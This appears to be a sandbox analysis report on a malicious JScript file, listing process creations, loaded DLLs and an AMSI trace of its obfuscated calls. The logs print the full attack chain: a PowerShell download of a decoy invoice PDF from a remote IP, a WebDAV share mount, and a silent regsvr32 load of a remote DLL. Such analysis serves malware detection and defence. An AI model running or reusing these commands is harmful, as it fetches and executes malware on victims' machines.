Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,10768720976208828925,12134824539070305012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,10768720976208828925,12134824539070305012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7105.js.csv");ITextStream.WriteLine(" entry:8248 f:iriyel");ITextStream.WriteLine(" exec:2 f:iriyel");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
